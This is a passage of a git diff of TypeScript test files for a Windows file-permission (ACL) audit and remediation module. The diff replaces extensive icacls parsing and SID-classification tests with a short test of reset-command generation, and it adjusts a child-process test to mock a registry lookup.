})); let createChildAdapter: typeof import("./child.js").createChildAdapter; +let getWindowsInstallRoots: typeof import("../../../infra/windows-install-roots.js").getWindowsInstallRoots; const tempDirs = useAutoCleanupTempDirTracker(afterEach); function createStubChild(pid = 1234) { @@ -132,12 +130,17 @@ describe("createChildAdapter", () => { }); }; - beforeAll(async () => { + beforeEach(async () => { + vi.resetModules(); + const accessSync = fs.accessSync.bind(fs); + vi.spyOn(fs, "accessSync").mockImplementation((filePath, mode) => { + if (String(filePath).toLowerCase() === "c:\\windows\\system32\\reg.exe") { + throw new Error("registry lookup disabled for test"); + } + return accessSync(filePath, mode); + }); + ({ getWindowsInstallRoots } = await import("../../../infra/windows-install-roots.js")); ({ createChildAdapter } = await import("./child.js")); - }); - - beforeEach(() => { - resetWindowsInstallRootsForTests({ queryRegistryValue: () => null }); spawnWithFallbackMock.mockClear(); signalProcessTreeMock.mockClear(); createWindowsOutputDecoderMock.mockClear(); @@ -158,6 +161,7 @@ describe("createChildAdapter", () => { }); afterEach(() => { + vi.restoreAllMocks(); if (originalPlatformDescriptor) { Object.defineProperty(process, "platform", originalPlatformDescriptor); } diff --git a/src/security/windows-acl.test.ts b/src/security/windows-acl.test.ts index 4be25a4cb135..050cb01c6753 100644 --- a/src/security/windows-acl.test.ts +++ b/src/security/windows-acl.test.ts @@ -1,962 +1,59 @@ -// Covers Windows ACL audit and permission detection behavior. +// Covers the Windows ACL remediation facade used by security fixes. +import { describe, expect, it } from "vitest"; +import { createIcaclsResetCommand, formatIcaclsResetCommand } from "./windows-acl.js"; -import { expectDefined } from "@openclaw/normalization-core"; -import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { - formatWindowsAclSummary, - inspectWindowsAcl, - parseIcaclsOutput, - resolveWindowsUserPrincipal, - summarizeWindowsAcl, - type WindowsAclEntry, - type WindowsAclSummary, -} from "../infra/permissions.js"; -import { - DEFAULT_WINDOWS_SYSTEM_ROOT, - resetWindowsInstallRootsForTests, -} from "../infra/windows-install-roots.js"; -import { withEnvAsync } from "../test-utils/env.js"; +const DEFAULT_ICACLS = "C:\\Windows\\System32\\icacls.exe"; -const MOCK_USERNAME = "MockUser"; -const mockUserInfo = () => ({ username: MOCK_USERNAME }); -const emptyUserInfo = () => ({ username: "" }); -const DEFAULT_ICACLS = `${DEFAULT_WINDOWS_SYSTEM_ROOT}\\System32\\icacls.exe`; -const DEFAULT_WHOAMI = `${DEFAULT_WINDOWS_SYSTEM_ROOT}\\System32\\whoami.exe`; - -let createIcaclsResetCommand: typeof import("./windows-acl.js").createIcaclsResetCommand; -let formatIcaclsResetCommand: typeof import("./windows-acl.js").formatIcaclsResetCommand; - -beforeAll(async () => { - ({ createIcaclsResetCommand, formatIcaclsResetCommand } = await import("./windows-acl.js")); -}); - -beforeEach(() => { - resetWindowsInstallRootsForTests(); -}); - -function aclEntry(params: { - principal: string; - rights?: string[]; - rawRights?: string; - canRead?: boolean; - canWrite?: boolean; -}): WindowsAclEntry { - return { - principal: params.principal, - rights: params.rights ?? ["F"], - rawRights: params.rawRights ?? "(F)", - canRead: params.canRead ?? true, - canWrite: params.canWrite ?? true, - }; -} - -function expectSinglePrincipal(entries: WindowsAclEntry[], principal: string): void { - expect(entries).toHaveLength(1); - expect(expectDefined(entries[0], "entries[0] test invariant").principal).toBe(principal); -} - -function expectAccessRights( - rights: string, - expected: { canWrite: boolean; canRead: boolean }, -): void { - const output = `C:\\test\\file.txt BUILTIN\\Users:${rights}`; - const entries = parseIcaclsOutput(output, "C:\\test\\file.txt"); - expect(expectDefined(entries[0], "entries[0] test invariant").canWrite, rights).toBe( - expected.canWrite, - ); - expect(expectDefined(entries[0], "entries[0] test invariant").canRead, rights).toBe( - expected.canRead, - ); -} - -function expectTrustedOnly( - entries: WindowsAclEntry[], - options?: { env?: NodeJS.ProcessEnv; expectedTrusted?: number }, -): void { - const summary = summarizeWindowsAcl(entries, options?.env); - expect(summary.trusted).toHaveLength(options?.expectedTrusted ?? 1); - expect(summary.untrustedWorld).toHaveLength(0); - expect(summary.untrustedGroup).toHaveLength(0); -} - -function expectInspectSuccess( - result: Awaited>, - expectedEntries: number, -): void { - expect(result.ok).toBe(true); - expect(result.entries).toHaveLength(expectedEntries); -} - -function expectIcaclsResetCommand( - result: ReturnType, -): NonNullable> { - if (!result) { - throw new Error("Expected icacls reset command"); - } - return result; -} - -function expectSummaryCounts( - entries: readonly WindowsAclEntry[], - expected: { trusted?: number; untrustedWorld?: number; untrustedGroup?: number }, - env?: NodeJS.ProcessEnv, -): void { - const summary = summarizeWindowsAcl([...entries], env); - expect(summary.trusted).toHaveLength(expected.trusted ?? 0); - expect(summary.untrustedWorld).toHaveLength(expected.untrustedWorld ?? 0); - expect(summary.untrustedGroup).toHaveLength(expected.untrustedGroup ?? 0); -} - -describe("windows-acl", () => { - describe("resolveWindowsUserPrincipal", () => { - it("returns DOMAIN\\USERNAME when both are present", () => { - const env = { USERNAME: "TestUser", USERDOMAIN: "WORKGROUP" }; - expect(resolveWindowsUserPrincipal(env)).toBe("WORKGROUP\\TestUser"); - }); - - it("returns just USERNAME when USERDOMAIN is not present", () => { - const env = { USERNAME: "TestUser" }; - expect(resolveWindowsUserPrincipal(env)).toBe("TestUser"); - }); - - it("trims whitespace from values", () => { - const env = { USERNAME: " TestUser ", USERDOMAIN: " WORKGROUP " }; - expect(resolveWindowsUserPrincipal(env)).toBe("WORKGROUP\\TestUser"); - }); - - it("falls back to os.userInfo when USERNAME is empty", () => { - // When USERNAME env is empty, falls back to os.userInfo().username - const env = { USERNAME: "", USERDOMAIN: "WORKGROUP" }; - const result = resolveWindowsUserPrincipal(env, mockUserInfo); - // Should return a username (from os.userInfo fallback) with WORKGROUP domain - expect(result).toBe(`WORKGROUP\\${MOCK_USERNAME}`); - }); - }); - - describe("parseIcaclsOutput", () => { - it("parses standard icacls output", () => { - const output = `C:\\test\\file.txt BUILTIN\\Administrators:(F) - NT AUTHORITY\\SYSTEM:(F) - WORKGROUP\\TestUser:(R) - -Successfully processed 1 files`; - const entries = parseIcaclsOutput(output, "C:\\test\\file.txt"); - expect(entries).toHaveLength(3); - expect(entries[0]).toEqual({ - principal: "BUILTIN\\Administrators", - rights: ["F"], - rawRights: "(F)", - canRead: true, - canWrite: true, - }); - }); - - it("parses entries with inheritance flags", () => { - const output = `C:\\test\\dir BUILTIN\\Users:(OI)(CI)(R)`; - const entries = parseIcaclsOutput(output, "C:\\test\\dir"); - expect(entries).toHaveLength(1); - expect(expectDefined(entries[0], "entries[0] test invariant").rights).toEqual(["R"]); - expect(expectDefined(entries[0], "entries[0] test invariant").canRead).toBe(true); - expect(expectDefined(entries[0], "entries[0] test invariant").canWrite).toBe(false); - }); - - it("filters out DENY entries", () => { - const output = `C:\\test\\file.txt BUILTIN\\Users:(DENY)(W) - BUILTIN\\Administrators:(F)`; - const entries = parseIcaclsOutput(output, "C:\\test\\file.txt"); - expectSinglePrincipal(entries, "BUILTIN\\Administrators"); - }); - - it("skips status messages", () => { - const output = `Successfully processed 1 files - Processed file: C:\\test\\file.txt - Failed processing 0 files - No mapping between account names`; - const entries = parseIcaclsOutput(output, "C:\\test\\file.txt"); - expect(entries).toHaveLength(0); - }); - - it("skips localized (non-English) status lines that have no parenthesised token", () => { - const output = - "C:\\Users\\karte\\.openclaw NT AUTHORITY\\\u0421\u0418\u0421\u0422\u0415\u041c\u0410:(OI)(CI)(F)\n" + - "\u0423\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043e 1 \u0444\u0430\u0439\u043b\u043e\u0432; " + - "\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c 0 \u0444\u0430\u0439\u043b\u043e\u0432"; - const entries = parseIcaclsOutput(output, "C:\\Users\\karte\\.openclaw"); - expect(entries).toHaveLength(1); - expect(expectDefined(entries[0], "entries[0] test invariant").principal).toBe( - "NT AUTHORITY\\\u0421\u0418\u0421\u0422\u0415\u041c\u0410", - ); - }); - - it("parses SID-format principals", () => { - const output = - "C:\\test\\file.txt S-1-5-18:(F)\n" + - " S-1-5-21-1824257776-4070701511-781240313-1001:(F)"; - const entries = parseIcaclsOutput(output, "C:\\test\\file.txt"); - expect(entries).toHaveLength(2); - expect(expectDefined(entries[0], "entries[0] test invariant").principal).toBe("S-1-5-18"); - expect(expectDefined(entries[1], "entries[1] test invariant").principal).toBe( - "S-1-5-21-1824257776-4070701511-781240313-1001", - ); - }); - - it("ignores malformed ACL lines that contain ':' but no rights tokens", () => { - const output = `C:\\test\\file.txt random:message - C:\\test\\file.txt BUILTIN\\Administrators:(F)`; - const entries = parseIcaclsOutput(output, "C:\\test\\file.txt"); - expectSinglePrincipal(entries, "BUILTIN\\Administrators"); - }); - - it("handles quoted target paths", () => { - const output = `"C:\\path with spaces\\file.txt" BUILTIN\\Administrators:(F)`; - const entries = parseIcaclsOutput(output, "C:\\path with spaces\\file.txt"); - expect(entries).toHaveLength(1); - }); - - it("skips entries with parentheses but no colon separator (line 190)", () => { - // parseAceEntry: entry has '(' so passes the early guard but has no ':' - const output = `C:\\test\\file.txt BUILTIN(F)\n BUILTIN\\Administrators:(F)`; - const entries = parseIcaclsOutput(output, "C:\\test\\file.txt"); - // BUILTIN(F) has no ':' → returns null; only the Administrators entry is kept - expectSinglePrincipal(entries, "BUILTIN\\Administrators"); - }); - - it("skips entries where all tokens are inherit flags (line 207)", () => { - // Only inherit flags: I, OI, CI — after filtering, rights is empty → returns null - const output = `C:\\test\\file.txt BUILTIN\\Users:(I)(OI)(CI)\n BUILTIN\\Administrators:(F)`; - const entries = parseIcaclsOutput(output, "C:\\test\\file.txt"); - expectSinglePrincipal(entries, "BUILTIN\\Administrators"); - }); - - it.each([ - { rights: "(F)", canWrite: true, canRead: true }, - { rights: "(M)", canWrite: true, canRead: true }, - { rights: "(W)", canWrite: true, canRead: false }, - { rights: "(D)", canWrite: true, canRead: false }, - { rights: "(R)", canWrite: false, canRead: true }, - { rights: "(RX)", canWrite: false, canRead: true }, - ] as const)("detects write permissions correctly for %s", ({ rights, canWrite, canRead }) => { - // F = Full control (read + write) - // M = Modify (read + write) - // W = Write - // D = Delete (considered write) - // R = Read only - expectAccessRights(rights, { canWrite, canRead }); - }); - }); - - describe("summarizeWindowsAcl", () => { - it("classifies trusted principals", () => { - const entries: WindowsAclEntry[] = [ - aclEntry({ principal: "NT AUTHORITY\\SYSTEM" }), - aclEntry({ principal: "BUILTIN\\Administrators" }), - ]; - const summary = summarizeWindowsAcl(entries); - expect(summary.trusted).toHaveLength(2); - expect(summary.untrustedWorld).toHaveLength(0); - expect(summary.untrustedGroup).toHaveLength(0); - }); - - it("classifies world principals", () => { - const entries: WindowsAclEntry[] = [ - aclEntry({ - principal: "Everyone", - rights: ["R"], - rawRights: "(R)", - canWrite: false, - }), - aclEntry({ - principal: "BUILTIN\\Users", - rights: ["R"], - rawRights: "(R)", - canWrite: false, - }), - ]; - const summary = summarizeWindowsAcl(entries); - expect(summary.trusted).toHaveLength(0); - expect(summary.untrustedWorld).toHaveLength(2); - expect(summary.untrustedGroup).toHaveLength(0); - }); - - it("classifies current user as trusted", () => { - const entries: WindowsAclEntry[] = [aclEntry({ principal: "WORKGROUP\\TestUser" })]; - const env = { USERNAME: "TestUser", USERDOMAIN: "WORKGROUP" }; - const summary = summarizeWindowsAcl(entries, env); - expect(summary.trusted).toHaveLength(1); - }); - - it("classifies unknown principals as group", () => { - const entries: WindowsAclEntry[] = [ - { - principal: "DOMAIN\\SomeOtherUser", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }, - ]; - const env = { USERNAME: "TestUser", USERDOMAIN: "WORKGROUP" }; - const summary = summarizeWindowsAcl(entries, env); - expect(summary.untrustedGroup).toHaveLength(1); - }); - }); - - describe("summarizeWindowsAcl — SID-based classification", () => { - it.each([ - { - name: "SYSTEM SID (S-1-5-18) is trusted", - entries: [aclEntry({ principal: "S-1-5-18" })], - expected: { trusted: 1 }, +describe("windows ACL remediation", () => { + it("builds a file reset command for the current principal and SYSTEM", () => { + const command = createIcaclsResetCommand("C:\\test\\file.txt", { + isDir: false, + env: { + SystemRoot: "C:\\Windows", + USERNAME: "TestUser", + USERDOMAIN: "WORKGROUP", }, - { - name: "*S-1-5-18 (icacls /sid SYSTEM) is trusted", - // icacls /sid output prefixes SIDs with *. - entries: [aclEntry({ principal: "*S-1-5-18" })], - expected: { trusted: 1 }, - }, - { - name: "*S-1-5-32-544 (icacls /sid Administrators) is trusted", - entries: [aclEntry({ principal: "*S-1-5-32-544" })], - expected: { trusted: 1 }, - }, - { - name: "BUILTIN\\\\Administrators SID (S-1-5-32-544) is trusted", - entries: [aclEntry({ principal: "S-1-5-32-544" })], - expected: { trusted: 1 }, - }, - { - name: "caller SID from USERSID env var is trusted", - entries: [aclEntry({ principal: "S-1-5-21-1824257776-4070701511-781240313-1001" })], - env: { USERSID: "S-1-5-21-1824257776-4070701511-781240313-1001" }, - expected: { trusted: 1 }, - }, - { - name: "SIDs match case-insensitively and trim USERSID", - entries: [aclEntry({ principal: "s-1-5-21-1824257776-4070701511-781240313-1001" })], - env: { USERSID: " S-1-5-21-1824257776-4070701511-781240313-1001 " }, - expected: { trusted: 1 }, - }, - { - name: "does not trust *-prefixed Everyone via USERSID", - entries: [ - aclEntry({ - principal: "*S-1-1-0", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - env: { USERSID: "*S-1-1-0" }, - expected: { untrustedWorld: 1 }, - }, - { - name: "unknown SID is group, not world", - entries: [ - aclEntry({ - principal: "S-1-5-21-9999-9999-9999-500", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedGroup: 1 }, - }, - { - name: "Everyone SID (S-1-1-0) is world, not group", - entries: [ - aclEntry({ - principal: "*S-1-1-0", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedWorld: 1 }, - }, - { - name: "Authenticated Users SID (S-1-5-11) is world, not group", - entries: [ - aclEntry({ - principal: "*S-1-5-11", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedWorld: 1 }, - }, - { - name: "BUILTIN\\\\Users SID (S-1-5-32-545) is world, not group", - entries: [ - aclEntry({ - principal: "*S-1-5-32-545", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedWorld: 1 }, - }, - { - name: "Anonymous Logon SID (S-1-5-7) is world, not group", - entries: [ - aclEntry({ - principal: "*S-1-5-7", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedWorld: 1 }, - }, - { - name: "BUILTIN\\\\Guests SID (S-1-5-32-546) is world, not group", - entries: [ - aclEntry({ - principal: "*S-1-5-32-546", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedWorld: 1 }, - }, - { - name: "Interactive SID (S-1-5-4) is world, not group", - entries: [ - aclEntry({ - principal: "*S-1-5-4", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedWorld: 1 }, - }, - { - name: "Local SID (S-1-2-0) is world, not group", - entries: [ - aclEntry({ - principal: "*S-1-2-0", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedWorld: 1 }, - }, - { - name: "Network SID (S-1-5-2) is world, not group", - entries: [ - aclEntry({ - principal: "*S-1-5-2", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }), - ], - expected: { untrustedWorld: 1 }, - }, - ] as const)("$name", ({ entries, env, expected }) => { - expectSummaryCounts(entries, expected, env); }); - it("full scenario: SYSTEM SID + owner SID only → no findings", () => { - const ownerSid = "S-1-5-21-1824257776-4070701511-781240313-1001"; - const entries: WindowsAclEntry[] = [ - { - principal: "S-1-5-18", - rights: ["F"], - rawRights: "(OI)(CI)(F)", - canRead: true, - canWrite: true, - }, - { - principal: ownerSid, - rights: ["F"], - rawRights: "(OI)(CI)(F)", - canRead: true, - canWrite: true, - }, - ]; - const env = { USERSID: ownerSid }; - const summary = summarizeWindowsAcl(entries, env); - expect(summary.trusted).toHaveLength(2); - expect(summary.untrustedWorld).toHaveLength(0); - expect(summary.untrustedGroup).toHaveLength(0); - }); - }); - - describe("inspectWindowsAcl", () => { - it("returns parsed ACL entries on success", async () => { - const mockExec = vi.fn().mockResolvedValue({ - stdout: `C:\\test\\file.txt BUILTIN\\Administrators:(F) - NT AUTHORITY\\SYSTEM:(F)`, - stderr: "", - }); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - env: {}, - }); - expectInspectSuccess(result, 2); - // /sid is passed so that account names are printed as SIDs, making the - // audit locale-independent (fixes #35834). - expect(mockExec).toHaveBeenCalledWith(DEFAULT_ICACLS, ["C:\\test\\file.txt", "/sid"]); - }); - - it("uses the discovered process SystemRoot when env options are omitted", async () => { - resetWindowsInstallRootsForTests({ queryRegistryValue: () => null }); - - const mockExec = vi.fn().mockResolvedValue({ - stdout: "C:\\test\\file.txt *S-1-5-18:(F)", - stderr: "", - }); - - await withEnvAsync({ SystemRoot: "D:\\Windows" }, async () => { - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - }); - - expectInspectSuccess(result, 1); - expect(mockExec).toHaveBeenCalledWith("D:\\Windows\\System32\\icacls.exe", [ - "C:\\test\\file.txt", - "/sid", - ]); - }); - }); - - it("classifies *S-1-5-18 (SID form of SYSTEM from /sid) as trusted", async () => { - // When icacls is called with /sid it outputs *S-X-X-X instead of - // locale-dependent names like "NT AUTHORITY\\SYSTEM" or the Russian - // garbled equivalent. - const mockExec = vi.fn().mockResolvedValue({ - stdout: - "C:\\test\\file.txt *S-1-5-21-111-222-333-1001:(F)\n *S-1-5-18:(F)\n *S-1-5-32-544:(F)", - stderr: "", - }); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - env: { USERSID: "S-1-5-21-111-222-333-1001" }, - }); - expectInspectSuccess(result, 3); - // All three entries (current user, SYSTEM, Administrators) must be trusted. - expect(result.trusted).toHaveLength(3); - expect(result.untrustedGroup).toHaveLength(0); - expect(result.untrustedWorld).toHaveLength(0); - }); - - it("resolves current user SID via whoami when USERSID is missing", async () => { - const mockExec = vi - .fn() - .mockResolvedValueOnce({ - stdout: - "C:\\test\\file.txt *S-1-5-21-111-222-333-1001:(F)\n *S-1-5-18:(F)", - stderr: "", - }) - .mockResolvedValueOnce({ - stdout: '"mock-host\\\\MockUser","S-1-5-21-111-222-333-1001"\r\n', - stderr: "", - }); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - env: { USERNAME: "MockUser", USERDOMAIN: "mock-host" }, - }); - - expectInspectSuccess(result, 2); - expect(result.trusted).toHaveLength(2); - expect(result.untrustedGroup).toHaveLength(0); - expect(mockExec).toHaveBeenNthCalledWith(1, DEFAULT_ICACLS, ["C:\\test\\file.txt", "/sid"]); - expect(mockExec).toHaveBeenNthCalledWith(2, DEFAULT_WHOAMI, ["/user", "/fo", "csv", "/nh"]); - }); - - it("returns error state on exec failure", async () => { - const mockExec = vi.fn().mockRejectedValue(new Error("icacls not found")); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - }); - expect(result.ok).toBe(false); - expect(result.error).toContain("icacls not found"); - expect(result.entries).toHaveLength(0); - }); - - it("combines stdout and stderr for parsing", async () => { - const mockExec = vi.fn().mockResolvedValue({ - stdout: "C:\\test\\file.txt BUILTIN\\Administrators:(F)", - stderr: "C:\\test\\file.txt NT AUTHORITY\\SYSTEM:(F)", - }); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - }); - expectInspectSuccess(result, 2); - }); - - it("returns null SID and continues when whoami throws (line 277)", async () => { - // icacls returns an untrusted SID entry (triggers needsUserSidResolution) - // whoami throws → resolveCurrentUserSid catch block returns null - const unknownSid = "S-1-5-21-9999-8888-7777-1001"; - const mockExec = vi - .fn() - .mockResolvedValueOnce({ - stdout: `C:\\test\\file.txt ${unknownSid}:(F)`, - stderr: "", - }) - .mockRejectedValueOnce(new Error("whoami: command not found")); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - // No USERSID → triggers SID resolution attempt - }); - // Should still succeed — whoami failure is swallowed - expect(result.ok).toBe(true); - // Unknown SID stays in untrustedGroup (resolveCurrentUserSid returned null) - expect(result.untrustedGroup).toHaveLength(1); - expect(mockExec).toHaveBeenCalledTimes(2); - }); - - it("uses SystemRoot for Windows system commands when available", async () => { - const mockExec = vi - .fn() - .mockResolvedValueOnce({ - stdout: "C:\\test\\file.txt *S-1-5-21-111-222-333-1001:(F)", - stderr: "", - }) - .mockResolvedValueOnce({ - stdout: '"mock-host\\\\MockUser","S-1-5-21-111-222-333-1001"\r\n', - stderr: "", - }); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - env: { SystemRoot: "D:\\Windows" }, - }); - - expectInspectSuccess(result, 1); - expect(mockExec).toHaveBeenNthCalledWith(1, "D:\\Windows\\System32\\icacls.exe", [ - "C:\\test\\file.txt", - "/sid", - ]); - expect(mockExec).toHaveBeenNthCalledWith(2, "D:\\Windows\\System32\\whoami.exe", [ - "/user", - "/fo", - "csv", - "/nh", - ]); - }); - - it.each([ - ["systemroot", "D:\\Windows"], - ["windir", "E:\\Windows"], - ])("resolves explicit env key %s case-insensitively", async (key, root) => { - const mockExec = vi.fn().mockResolvedValueOnce({ - stdout: "C:\\test\\file.txt *S-1-5-18:(F)", - stderr: "", - }); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - env: { [key]: root }, - }); - - expectInspectSuccess(result, 1); - expect(mockExec).toHaveBeenCalledWith(`${root}\\System32\\icacls.exe`, [ - "C:\\test\\file.txt", - "/sid", - ]); - }); - - it("does not resolve Windows system commands through a relative SystemRoot", async () => { - const mockExec = vi - .fn() - .mockResolvedValueOnce({ - stdout: "C:\\test\\file.txt *S-1-5-21-111-222-333-1001:(F)", - stderr: "", - }) - .mockResolvedValueOnce({ - stdout: '"mock-host\\\\MockUser","S-1-5-21-111-222-333-1001"\r\n', - stderr: "", - }); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - env: { SystemRoot: ".\\fake-root" }, - }); - - expectInspectSuccess(result, 1); - expect(mockExec).toHaveBeenNthCalledWith(1, DEFAULT_ICACLS, ["C:\\test\\file.txt", "/sid"]); - expect(mockExec).toHaveBeenNthCalledWith(2, DEFAULT_WHOAMI, ["/user", "/fo", "csv", "/nh"]); - }); - - it("uses a valid WINDIR when SystemRoot is invalid", async () => { - const mockExec = vi.fn().mockResolvedValueOnce({ - stdout: "C:\\test\\file.txt *S-1-5-18:(F)", - stderr: "", - }); - - const result = await inspectWindowsAcl("C:\\test\\file.txt", { - exec: mockExec, - env: { SystemRoot: ".\\fake-root", WINDIR: "E:\\Windows" }, - }); - - expectInspectSuccess(result, 1); - expect(mockExec).toHaveBeenCalledWith("E:\\Windows\\System32\\icacls.exe", [ - "C:\\test\\file.txt", - "/sid", - ]); - }); - }); - - describe("formatWindowsAclSummary", () => { - it("returns 'unknown' for failed summary", () => { - const summary: WindowsAclSummary = { - ok: false, - entries: [], - trusted: [], - untrustedWorld: [], - untrustedGroup: [], - error: "icacls failed", - }; - expect(formatWindowsAclSummary(summary)).toBe("unknown"); - }); - - it("returns 'trusted-only' when no untrusted entries", () => { - const summary: WindowsAclSummary = { - ok: true, - entries: [], - trusted: [ - { - principal: "BUILTIN\\Administrators", - rights: ["F"], - rawRights: "(F)", - canRead: true, - canWrite: true, - }, - ], - untrustedWorld: [], - untrustedGroup: [], - }; - expect(formatWindowsAclSummary(summary)).toBe("trusted-only"); - }); - - it("formats untrusted entries", () => { - const summary: WindowsAclSummary = { - ok: true, - entries: [], - trusted: [], - untrustedWorld: [ - { - principal: "Everyone", - rights: ["R"], - rawRights: "(R)", - canRead: true, - canWrite: false, - }, - ], - untrustedGroup: [ - { - principal: "DOMAIN\\OtherUser", - rights: ["M"], - rawRights: "(M)", - canRead: true, - canWrite: true, - }, - ], - }; - const result = formatWindowsAclSummary(summary); - expect(result).toBe("Everyone:(R), DOMAIN\\OtherUser:(M)"); - }); - }); - - describe("formatIcaclsResetCommand", () => { - it("generates command for files", () => { - const env = { USERNAME: "TestUser", USERDOMAIN: "WORKGROUP" }; - const result = formatIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env, - }); - expect(result).toBe( - [ - DEFAULT_ICACLS, - '"C:\\test\\file.txt"', - "/inheritance:r", - "/grant:r", - '"WORKGROUP\\TestUser:F"', - "/grant:r", - '"*S-1-5-18:F"', - ].join(" "), - ); - }); - - it("generates command for directories with inheritance flags", () => { - const env = { USERNAME: "TestUser", USERDOMAIN: "WORKGROUP" }; - const result = formatIcaclsResetCommand("C:\\test\\dir", { - isDir: true, - env, - }); - expect(result).toContain("(OI)(CI)F"); - }); - - it("uses a validated SystemRoot in the display command", () => { - const result = formatIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env: { SystemRoot: "D:\\Windows", USERNAME: "TestUser" }, - }); - - expect(result.startsWith("D:\\Windows\\System32\\icacls.exe ")).toBe(true); - }); - - it("uses system username when env is empty (falls back to os.userInfo)", () => { - // When env is empty, resolveWindowsUserPrincipal falls back to os.userInfo().username - const result = formatIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env: {}, - userInfo: mockUserInfo, - }); - // Should contain the actual system username from os.userInfo - expect(result).toContain(`"${MOCK_USERNAME}:F"`); - expect(result).not.toContain("%USERNAME%"); - }); - }); - - describe("createIcaclsResetCommand", () => { - it("returns structured command object", () => { - const env = { USERNAME: "TestUser", USERDOMAIN: "WORKGROUP" }; - const result = createIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env, - }); - const command = expectIcaclsResetCommand(result); - expect(command.command).toBe(DEFAULT_ICACLS); - expect(command.args).toStrictEqual([ + expect(command).toMatchObject({ + command: DEFAULT_ICACLS, + args: [ "C:\\test\\file.txt", "/inheritance:r", "/grant:r", "WORKGROUP\\TestUser:F", "/grant:r", "*S-1-5-18:F", - ]); - }); - - it("uses a validated SystemRoot for the structured command executable", () => { - const result = createIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env: { SystemRoot: "D:\\Windows", USERNAME: "TestUser" }, - }); - const command = expectIcaclsResetCommand(result); - - expect(command.command).toBe("D:\\Windows\\System32\\icacls.exe"); - }); - - it("returns command with system username when env is empty (falls back to os.userInfo)", () => { - // When env is empty, resolveWindowsUserPrincipal falls back to os.userInfo().username - const result = createIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env: {}, - userInfo: mockUserInfo, - }); - // Should return a valid command using the system username - const command = expectIcaclsResetCommand(result); - expect(command.command).toBe(DEFAULT_ICACLS); - expect(command.args).toStrictEqual([ - "C:\\test\\file.txt", - "/inheritance:r", - "/grant:r", - `${MOCK_USERNAME}:F`, - "/grant:r", - "*S-1-5-18:F", - ]); - }); - - it("includes display string matching formatIcaclsResetCommand", () => { - const env = { USERNAME: "TestUser", USERDOMAIN: "WORKGROUP" }; - const result = createIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env, - }); - const expected = formatIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env, - }); - const command = expectIcaclsResetCommand(result); - expect(command.display).toBe(expected); - }); - - it("world SIDs in USERSID env are not added to trusted set", () => { - // S-1-1-0 = Everyone. Even if USERSID is set to this, it must NOT be trusted. - const env = { USERSID: "S-1-1-0" }; - const entries: WindowsAclEntry[] = [ - aclEntry({ - principal: "S-1-1-0", - rights: ["F"], - rawRights: "(F)", - canRead: true, - canWrite: true, - }), - ]; - const summary = summarizeWindowsAcl(entries, env); - // Everyone must remain in untrustedWorld, not trusted - expect(summary.untrustedWorld).toHaveLength(1); - expect(summary.trusted).toHaveLength(0); - }); - - it("returns null when no username can be resolved (line 348)", () => { - const result = createIcaclsResetCommand("C:\\test\\file.txt", { - isDir: false, - env: { USERNAME: "", USERDOMAIN: "" }, - userInfo: emptyUserInfo, - }); - expect(result).toBeNull(); + ], }); }); - describe("summarizeWindowsAcl — localized SYSTEM account names", () => { - it("classifies French SYSTEM (AUTORITE NT\\Système) as trusted", () => { - expectTrustedOnly([aclEntry({ principal: "AUTORITE NT\\Système" })]); + it("adds inheritance flags for directory remediation", () => { + const display = formatIcaclsResetCommand("C:\\test\\dir", { + isDir: true, + env: { SystemRoot: "C:\\Windows", USERNAME: "TestUser" }, }); - it("classifies German SYSTEM (NT-AUTORITÄT\\SYSTEM) as trusted", () => { - expectTrustedOnly([aclEntry({ principal: "NT-AUTORITÄT\\SYSTEM" })]); - }); - - it("classifies Spanish SYSTEM (AUTORIDAD NT\\SYSTEM) as trusted", () => { - expectTrustedOnly([aclEntry({ principal: "AUTORIDAD NT\\SYSTEM" })]); - }); - - it("French Windows full scenario: user + Système only → no untrusted", () => { - const entries: WindowsAclEntry[] = [ - aclEntry({ principal: "MYPC\\Pierre" }), - aclEntry({ principal: "AUTORITE NT\\Système" }), - ]; - const env = { USERNAME: "Pierre", USERDOMAIN: "MYPC" }; - const { trusted, untrustedWorld, untrustedGroup } = summarizeWindowsAcl(entries, env); - expect(trusted).toHaveLength(2); - expect(untrustedWorld).toHaveLength(0); - expect(untrustedGroup).toHaveLength(0); - }); + expect(display).toContain("(OI)(CI)F"); + 